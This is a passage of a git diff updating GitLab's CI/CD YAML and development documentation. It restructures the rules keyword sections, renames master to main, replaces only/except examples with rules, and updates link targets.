+- If a rule matches and has `when: never`.
#### `rules:if`
@@ -1318,110 +1148,61 @@ Use `rules:if` clauses to specify when to add a job to a pipeline:
- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline.
- If no `if` statements are true, do not add the job to the pipeline.
-`rules:if` differs slightly from `only:variables` by accepting only a single
-expression string per rule, rather than an array of them. Any set of expressions to be
-evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction)
-by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions).
-
-Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts)
-sections, variables in rules expressions are always formatted as `$VARIABLE`.
-
`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
or [custom CI/CD variables](../variables/README.md#custom-cicd-variables).
-For example:
+**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job
+to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior.
+
+**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions).
+
+**Example of `rules:if`**:
```yaml
job:
script: echo "Hello, Rules!"
rules:
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"'
- when: always
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH'
+ when: never
- if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/'
when: manual
allow_failure: true
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME'
```
-Some details regarding the logic that determines the `when` for the job:
+**Additional details**:
-- If none of the provided rules match, the job is set to `when: never` and is
- not included in the pipeline.
-- A rule without any conditional clause, such as a `when` or `allow_failure`
- rule without `if` or `changes`, always matches, and is always used if reached.
- If a rule matches and has no `when` defined, the rule uses the `when`
defined for the job, which defaults to `on_success` if not defined.
- You can define `when` once per rule, or once at the job-level, which applies to
all rules. You can't mix `when` at the job-level with `when` in rules.
+- Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts)
+ sections, variables in rules expressions are always formatted as `$VARIABLE`.
-##### Common `if` clauses for `rules`
-
-For behavior similar to the [`only`/`except` keywords](#only--except), you can
-check the value of the `$CI_PIPELINE_SOURCE` variable:
-
-| Value | Description |
-|-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). |
-| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. |
-| `external` | When you use CI services other than GitLab. |
-| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). |
-| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). |
-| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. |
-| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. |
-| `push` | For pipelines triggered by a `git push` event, including for branches and tags. |
-| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). |
-| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). |
-| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
-| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). |
-
-The following example runs the job as a manual job in scheduled pipelines or in push
-pipelines (to branches or tags), with `when: on_success` (default). It does not
-add the job to any other pipeline type.
-
-```yaml
-job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_PIPELINE_SOURCE == "schedule"'
- when: manual
- allow_failure: true
- - if: '$CI_PIPELINE_SOURCE == "push"'
-```
+**Related topics**:
-The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md)
-and scheduled pipelines. It does not run in any other pipeline type.
+- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules).
+- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines).
-```yaml
-job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- - if: '$CI_PIPELINE_SOURCE == "schedule"'
-```
+#### `rules:changes`
-Other commonly used variables for `if` clauses:
+Use `rules:changes` to specify when to add a job to a pipeline by checking for changes
+to specific files.
-- `if: $CI_COMMIT_TAG`: If changes are pushed for a tag.
-- `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch.
-- `if: '$CI_COMMIT_BRANCH == "main"'`: If changes are pushed to `main`.
-- `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default
- branch. Use when you want to have the same configuration in multiple
- projects with different default branches.
-- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression.
-- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables)
- `CUSTOM_VARIABLE` does **not** match a regular expression.
-- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is
- exactly `value1`.
+WARNING:
+You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**.
+You can use `rules: changes` with other pipeline types, but `rules: changes` always
+evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines,
+and so on do **not** have a Git `push` event associated with them. A `rules: changes` job
+is **always** added to those pipelines if there is no `if:` that limits the job to
+branch or merge request pipelines.
-#### `rules:changes`
+**Keyword type**: Job keyword. You can use it only as part of a job.
-Use `rules:changes` to specify when to add a job to a pipeline by checking for
-changes to specific files.
+**Possible inputs**: An array of file paths. In GitLab 13.6 and later,
+[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges).
-`rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges).
-It accepts an array of paths. You should use `rules: changes` only with branch
-pipelines or merge request pipelines. For example, it's common to use `rules: changes`
-with merge request pipelines:
+**Example of `rules:changes`**:
```yaml
docker build:
@@ -1434,61 +1215,28 @@ docker build:
allow_failure: true
```
-In this example:
-
- If the pipeline is a merge request pipeline, check `Dockerfile` for changes.
- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline
continues running even if the job is not triggered (`allow_failure: true`).
- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`).
-To use `rules: changes` with branch pipelines instead of merge request pipelines,
-change the `if:` clause in the previous example to:
-
-```yaml
-rules:
- - if: $CI_PIPELINE_SOURCE == "push" && $CI_COMMIT_BRANCH
-```
-
-To implement a rule similar to [`except:changes`](#onlychanges--exceptchanges),
-use `when: never`.
-
-WARNING:
-You can use `rules: changes` with other pipeline types, but it is not recommended
-because `rules: changes` always evaluates to true when there is no Git `push` event.
-Tag pipelines, scheduled pipelines, and so on do **not** have a Git `push` event
-associated with them. A `rules: changes` job is **always** added to those pipeline
-if there is no `if:` statement that limits the job to branch or merge request pipelines.
-
-##### Variables in `rules:changes`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7.
-
-You can use CI/CD variables in `rules:changes` expressions to determine when
-to add jobs to a pipeline:
-
-```yaml
-docker build:
- variables:
- DOCKERFILES_DIR: 'path/to/files/'
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- rules:
- - changes:
- - $DOCKERFILES_DIR/*
-```
+**Additional details**:
-You can use the `$` character for both variables and paths. For example, if the
-`$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the
-`$` is interpreted as being part of a path.
+- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges).
+- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges).
#### `rules:exists`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4.
Use `exists` to run a job when certain files exist in the repository.
-You can use an array of paths.
-In the following example, `job` runs if a `Dockerfile` exists anywhere in the repository:
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`)
+and can't directly link outside it. File paths can use glob patterns.
+
+**Example of `rules:exists`**:
```yaml
job:
@@ -1498,47 +1246,50 @@ job:
- Dockerfile
```
-Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it.
-
-You can use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
-patterns to match multiple files in any directory
-in the repository:
+`job` runs if a `Dockerfile` exists anywhere in the repository.
-```yaml
-job:
- script: bundle exec rspec
- rules:
- - exists:
- - spec/**.rb
-```
-
-Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch)
-with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`.
+**Additional details**:
-For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns. After the 10,000th check, rules with patterned globs always match.
+- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch)
+ with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`.
+- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or
+ file paths. After the 10,000th check, rules with patterned globs always match.
+ In other words, the `exists` rule always assumes a match in projects with more
+ than 10,000 files.
#### `rules:allow_failure`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8.
-You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to
-wait for action, without stopping the pipeline itself. All jobs that use `rules:` default to `allow_failure: false`
-if you do not define `allow_failure:`.
+Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail
+without stopping the pipeline.
+
+You can also use `allow_failure: true` with a manual job. The pipeline continues
+running without waiting for the result of the manual job. `allow_failure: false`
+combined with `when: manual` in rules causes the pipeline to wait for the manual
+job to run before continuing.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
-The rule-level `rules:allow_failure` option overrides the job-level
-[`allow_failure`](#allow_failure) option, and is only applied when
-the particular rule triggers the job.
+**Possible inputs**: `true` or `false`. Defaults to `false` if not defined.
+
+**Example of `rules:allow_failure`**:
```yaml
job:
script: echo "Hello, Rules!"
rules:
- - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"'
+ - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH'
when: manual
allow_failure: true
```
-In this example, if the first rule matches, then the job has `when: manual` and `allow_failure: true`.
+If the rule matches, then the job is a manual job with `allow_failure: true`.
+
+**Additional details**:
+
+- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure),
+ and only applies when the specific rule triggers the job.
#### `rules:variables`
@@ -1547,14 +1298,18 @@ In this example, if the first rule matches, then the job has `when: manual` and
Use [`variables`](#variables) in `rules:` to define variables for specific conditions.
-For example:
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`.
+
+**Example of `rules:variables`**:
```yaml
job:
variables:
DEPLOY_VARIABLE: "default-deploy"
rules:
- - if: $CI_COMMIT_REF_NAME =~ /master/
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
variables: # Override DEPLOY_VARIABLE defined
DEPLOY_VARIABLE: "deploy-production" # at the job level.
- if: $CI_COMMIT_REF_NAME =~ /feature/
@@ -1565,50 +1320,6 @@ job:
- echo "Run another script if $IS_A_FEATURE exists"
```
-#### Complex rule clauses
-
-To conjoin `if`, `changes`, and `exists` clauses with an `AND`, use them in the
-same rule.
-
-In the following example:
-
-- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and `$VAR` == "string value",
- then the job runs manually
-- Otherwise, the job isn't included in the pipeline.
-
-```yaml
-docker build:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- rules:
- - if: '$VAR == "string value"'
- changes: # Include the job and set to when:manual if any of the follow paths match a modified file.
- - Dockerfile
- - docker/scripts/*
- when: manual
- # - "when: never" would be redundant here. It is implied any time rules are listed.
-```
-
-Keywords such as `branches` or `refs` that are available for
-`only`/`except` are not available in `rules`. They are being individually
-considered for their usage and behavior in this context. Future keyword improvements
-are being discussed in our [epic for improving `rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783),
-where anyone can add suggestions or requests.
-
-You can use [parentheses](../variables/README.md#parentheses) with `&&` and `||` to build more complicated variable expressions.
-[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3:
-
-```yaml
-job1:
- script:
- - echo This rule uses parentheses.
- rules:
- if: ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE
-```
-
-WARNING:
-[Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938),
-rules that use both `||` and `&&` may evaluate with an unexpected order of operations.
-
### `only` / `except`
NOTE:
@@ -1722,7 +1433,7 @@ to a pipeline, based on the status of [CI/CD variables](../variables/README.md).
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: An array of [CI/CD variable expressions](../variables/README.md#cicd-variable-expressions).
+**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions).
**Example of `only:variables`**:
@@ -1968,12 +1679,12 @@ build_job:
needs:
- project: namespace/group/project-name
job: build-1
- ref: master
+ ref: main
artifacts: true
```
`build_job` downloads the artifacts from the latest successful `build-1` job
-on the `master` branch in the `group/project-name` project. If the project is in the
+on the `main` branch in the `group/project-name` project. If the project is in the
same group or namespace, you can omit them from the `project:` keyword. For example,
`project: group/project-name` or `project: project-name`.
@@ -2069,14 +1780,7 @@ To download artifacts from a job in the current pipeline, use the basic form of
#### Optional `needs`
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10.
-> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 13.11.
-> - Enabled on GitLab.com.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-optional-needs). **(FREE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0.
To need a job that sometimes does not exist in the pipeline, add `optional: true`
to the `needs` configuration. If not defined, `optional: false` is the default.
@@ -2091,9 +1795,9 @@ error similar to:
In this example:
-- When the branch is `master`, the `build` job exists in the pipeline, and the `rspec`
+- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec`
job waits for it to complete before starting.
-- When the branch is not `master`, the `build` job does not exist in the pipeline.
+- When the branch is not the default branch, the `build` job does not exist in the pipeline.
The `rspec` job runs immediately (similar to `needs: []`) because its `needs`
relationship to the `build` job is optional.
@@ -2101,7 +1805,7 @@ In this example:
build:
stage: build
rules:
- - if: $CI_COMMIT_REF_NAME == "master"
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
rspec:
stage: test
@@ -2110,25 +1814,6 @@ rspec:
optional: true
```
-#### Enable or disable optional needs **(FREE SELF)**
-
-Optional needs is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_needs_optional)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_needs_optional)
-```
-
### `tags`
Use `tags` to select a specific runner from the list of all runners that are
@@ -2355,8 +2040,8 @@ To protect a manual job:
name: production
url: https://example.com
when: manual
- only:
- - master
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
1. In the [protected environments settings](../environments/protected_environments.md#protecting-environments),
@@ -2416,7 +2101,7 @@ For example:
```yaml
deploy to production:
stage: deploy
- script: git push production HEAD:master
+ script: git push production HEAD:main
environment: production
```
@@ -2438,7 +2123,7 @@ Set a name for an [environment](../environments/index.md). For example:
```yaml
deploy to production:
stage: deploy
- script: git push production HEAD:master
+ script: git push production HEAD:main
environment:
name: production
```
@@ -2473,7 +2158,7 @@ Set a URL for an [environment](../environments/index.md). For example:
```yaml
deploy to production:
stage: deploy
- script: git push production HEAD:master
+ script: git push production HEAD:main
environment:
name: production
url: https://prod.example.com
@@ -3303,8 +2988,8 @@ Create artifacts only for tags (`default-job` doesn't create artifacts):
default-job:
script:
- mvn test -U
- except:
- - tags
+ rules:
+ - if: $CI_COMMIT_BRANCH
release-job:
script:
@@ -3312,8 +2997,8 @@ release-job:
artifacts:
paths:
- target/*.war
- only:
- - tags
+ rules:
+ - if: $CI_COMMIT_TAG
```
You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`:
@@ -3329,7 +3014,7 @@ job:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8
> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's enabled on GitLab.com.
+> - It's disabled on GitLab.com.
> - It's recommended for production use.
Use `artifacts:public` to determine whether the job artifacts should be
@@ -3500,22 +3185,6 @@ concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml
an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a
combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`).
-##### `artifacts:reports:license_management` **(ULTIMATE)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-
-WARNING:
-This artifact is still valid but is **deprecated** in favor of the
-[artifacts:reports:license_scanning](#artifactsreportslicense_scanning)
-introduced in GitLab 12.8.
-
-The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md)
-as artifacts.
-
-The collected License Compliance report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
##### `artifacts:reports:license_scanning` **(ULTIMATE)**
> - Introduced in GitLab 12.8.
@@ -3547,12 +3216,13 @@ as artifacts.
The collected Metrics report uploads to GitLab as an artifact and displays in merge requests.
-##### `artifacts:reports:performance` **(PREMIUM)**
+##### `artifacts:reports:browser_performance` **(PREMIUM)**
> - Introduced in GitLab 11.5.
> - Requires GitLab Runner 11.5 and above.
+> - [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0.
-The `performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
+The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
as artifacts.
The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests.
@@ -3762,7 +3432,7 @@ Possible values for `when` are:
- `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner.
- `data_integrity_failure`: Retry if there is a structural integrity problem detected.
-You can specify the number of [retry attempts for certain stages of job execution](../runners/README.md#job-stages-attempts) using variables.
+You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts) using variables.
### `timeout`
@@ -4065,7 +3735,7 @@ child-pipeline:
trigger:
include:
- project: 'my-group/my-pipeline-library'
- ref: 'master'
+ ref: 'main'
file: '/path/to/child-pipeline.yml'
```
@@ -4240,7 +3910,7 @@ finishes.
### `release`
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/merge_requests/19298) in GitLab 13.2.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2.
Use `release` to create a [release](../../user/project/releases/index.md).
Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs)
@@ -4407,7 +4077,10 @@ job:
description: 'Release description'
```
-It is also possible to create any unique tag, in which case `only: tags` is not mandatory.
+It is also possible for the release job to automatically create a new unique tag. In that case,
+do not use [`rules`](#rules) or [`only`](#only--except) to configure the job to
+only run for tags.
+
A semantic versioning example:
```yaml
@@ -4663,8 +4336,8 @@ pages:
artifacts:
paths:
- public
- only:
- - master
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
View the [GitLab Pages user documentation](../../user/project/pages/index.md).
@@ -4807,7 +4480,7 @@ You can use [YAML anchors for variables](#yaml-anchors-for-variables).
> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7.
-Use the `value` and `description` keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
+Use the `value` and `description` keywords to define [pipeline-level (global) variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
```yaml
@@ -4817,23 +4490,25 @@ variables:
description: "The deployment target. Change this variable to 'canary' or 'production' if needed."
```
+You cannot set job-level variables to be pre-filled when you run a pipeline manually.
+
### Configure runner behavior with variables
You can use [CI/CD variables](../variables/README.md) to configure how the runner processes Git requests:
-- [`GIT_STRATEGY`](../runners/README.md#git-strategy)
-- [`GIT_SUBMODULE_STRATEGY`](../runners/README.md#git-submodule-strategy)
-- [`GIT_CHECKOUT`](../runners/README.md#git-checkout)
-- [`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags)
-- [`GIT_FETCH_EXTRA_FLAGS`](../runners/README.md#git-fetch-extra-flags)
-- [`GIT_DEPTH`](../runners/README.md#shallow-cloning) (shallow cloning)
-- [`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) (custom build directories)
-- [`TRANSFER_METER_FREQUENCY`](../runners/README.md#artifact-and-cache-settings) (artifact/cache meter update frequency)
-- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (artifact archiver compression level)
-- [`CACHE_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (cache archiver compression level)
+- [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy)
+- [`GIT_SUBMODULE_STRATEGY`](../runners/configure_runners.md#git-submodule-strategy)
+- [`GIT_CHECKOUT`](../runners/configure_runners.md#git-checkout)
+- [`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags)
+- [`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags)
+- [`GIT_DEPTH`](../runners/configure_runners.md#shallow-cloning) (shallow cloning)
+- [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) (custom build directories)
+- [`TRANSFER_METER_FREQUENCY`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact/cache meter update frequency)
+- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact archiver compression level)
+- [`CACHE_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (cache archiver compression level)
You can also use variables to configure how many times a runner
-[attempts certain stages of job execution](../runners/README.md#job-stages-attempts).
+[attempts certain stages of job execution](../runners/configure_runners.md#job-stages-attempts).
## YAML-specific features
diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md
index 2993e077268..266b35bd27f 100644
--- a/doc/ci/yaml/gitlab_ci_yaml.md
+++ b/doc/ci/yaml/gitlab_ci_yaml.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
type: reference
---
diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md
index ec5934924fa..549a6fb964b 100644
--- a/doc/ci/yaml/includes.md
+++ b/doc/ci/yaml/includes.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -26,7 +26,7 @@ Array with `include` method implied:
```yaml
include:
- - 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml'
+ - 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'
- '/templates/.after-script-template.yml'
```
@@ -34,21 +34,21 @@ Single string with `include` method specified explicitly:
```yaml
include:
- remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml'
+ remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'
```
Array with `include:remote` being the single item:
```yaml
include:
- - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml'
+ - remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'
```
Array with multiple `include` methods specified explicitly:
```yaml
include:
- - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml'
+ - remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'
- local: '/templates/.after-script-template.yml'
- template: Auto-DevOps.gitlab-ci.yml
```
@@ -57,11 +57,11 @@ Array mixed syntax:
```yaml
include:
- - 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml'
+ - 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'
- '/templates/.after-script-template.yml'
- template: Auto-DevOps.gitlab-ci.yml
- project: 'my-group/my-project'
- ref: master
+ ref: main
file: '/templates/.gitlab-ci-template.yml'
```
@@ -70,7 +70,7 @@ include:
In the following example, the content of `.before-script-template.yml` is
automatically fetched and evaluated along with the content of `.gitlab-ci.yml`.
-Content of `https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`:
+Content of `https://gitlab.com/awesome-project/raw/main/.before-script-template.yml`:
```yaml
default:
@@ -83,7 +83,7 @@ default:
Content of `.gitlab-ci.yml`:
```yaml
-include: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml'
+include: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'
rspec:
script:
@@ -111,8 +111,8 @@ production:
environment:
name: production
url: https://$CI_PROJECT_PATH_SLUG.$KUBE_INGRESS_BASE_DOMAIN
- only:
- - master
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
Content of `.gitlab-ci.yml`:
diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md
index f4e099c3128..2e5517f6190 100644
--- a/doc/ci/yaml/script.md
+++ b/doc/ci/yaml/script.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/development/README.md b/doc/development/README.md
index 37d8a8fa570..bc996fdff21 100644
--- a/doc/development/README.md
+++ b/doc/development/README.md
@@ -61,11 +61,11 @@ GitLab instance, see the [administration documentation](../administration/index.
Complementary reads:
-- [GitLab core team & GitLab Inc. contribution process](https://gitlab.com/gitlab-org/gitlab/blob/master/PROCESS.md)
+- [GitLab core team & GitLab Inc. contribution process](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md)
- [Security process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md#security-releases-critical-non-critical-as-a-developer)
- [Guidelines for implementing Enterprise Edition features](ee_features.md)
- [Danger bot](dangerbot.md)
-- [Generate a changelog entry with `bin/changelog`](changelog.md)
+- [Guidelines for changelogs](changelog.md)
- [Requesting access to ChatOps on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members)
- [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers)
- [Adding a new service component to GitLab](adding_service_component.md)
diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md
index e8b71e0509a..4d521d11a69 100644
--- a/doc/development/api_graphql_styleguide.md
+++ b/doc/development/api_graphql_styleguide.md
@@ -16,7 +16,7 @@ We use the [GraphQL Ruby gem](https://graphql-ruby.org/) written by [Robert Moso
In addition, we have a subscription to [GraphQL Pro](https://graphql.pro/). For details see [GraphQL Pro subscription](graphql_guide/graphql_pro.md).
All GraphQL queries are directed to a single endpoint
-([`app/controllers/graphql_controller.rb#execute`](https://gitlab.com/gitlab-org/gitlab/blob/master/app%2Fcontrollers%2Fgraphql_controller.rb)),
+([`app/controllers/graphql_controller.rb#execute`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app%2Fcontrollers%2Fgraphql_controller.rb)),
which is exposed as an API endpoint at `/api/graphql`.
## Deep Dive
@@ -862,7 +862,7 @@ overhead. If you are writing:
Resolvers may raise errors, which will be converted to top-level errors as
appropriate. All anticipated errors should be caught and transformed to an
appropriate GraphQL error (see
-[`Gitlab::Graphql::Errors`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/graphql/errors.rb)).
